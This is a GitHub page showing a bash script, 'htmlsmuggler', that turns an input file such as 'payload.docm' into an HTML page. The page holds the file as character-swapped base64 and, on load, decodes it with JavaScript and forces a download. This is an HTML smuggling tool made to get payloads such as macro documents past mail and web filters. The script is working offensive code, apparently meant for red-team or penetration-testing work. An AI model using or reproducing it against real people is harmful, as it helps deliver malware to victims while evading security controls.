Scripts/htmlsmuggler at master · emanuelduss/Scripts · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env bash
#
# htmlsmuggler
#
# Create HTML file for HTML smuggling content
#
# Author: Emanuel Duss
#

set -o errexit
set -o nounset
set -o pipefail

print_usage(){
cat << EOI
Usage: htmlsmuggler payload.docm
EOI
}

generate_payload(){

FILENAME="$(basename "$INPUTFILE")"
TYPE="$(file -b --mime-type "$INPUTFILE")"
PAYLOAD="$(base64 -w0 "$INPUTFILE" | tr 'AaZz+/=' '@_()%?$')"
HASH="$(sha256sum "$INPUTFILE" | cut -d ' ' -f 1)"

cat << EOI
<html>
<head><title>Simple HTML Smuggler</title></head>
<body>
<h1>Simple HTML Smuggler</h1>
<p>File: $FILENAME<br/>SHA256: $HASH</p>
<script>
  function base64toarray(base64) {
    var bin_string = window.atob(base64);
    var len = bin_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) {
      bytes[i] = bin_string.charCodeAt(i);
    }
    return bytes.buffer;
  }

  function deobfuscate(payload){
    return payload
      .replaceAll('@', 'A')
      .replaceAll('_', 'a')
      .replaceAll('(', 'Z')
      .replaceAll(')', 'z')
      .replaceAll('%', '+')
      .replaceAll('?', '/')
      .replaceAll('$', '=');
  }

  var payload = '$PAYLOAD'
  var type = '$TYPE';
  var filename = '$FILENAME'

  var data = base64toarray(deobfuscate(payload));
  var blob = new Blob([data], {type: type});

  var a = document.createElement('a');
  document.body.appendChild(a);
  var url = window.URL.createObjectURL(blob);
  a.href = url;
  a.download = filename;
  a.click();
  window.URL.revokeObjectURL(url);
</script>
</body>
</html>
EOI
}

main(){
  if [[ -z "${1:-}" ]]
  then
    print_usage
    exit 1
  fi

  TEMPLATE="template.html"
  INPUTFILE="$1"
  OUTPUTFILE="$INPUTFILE.html"

  generate_payload
}

main "$@"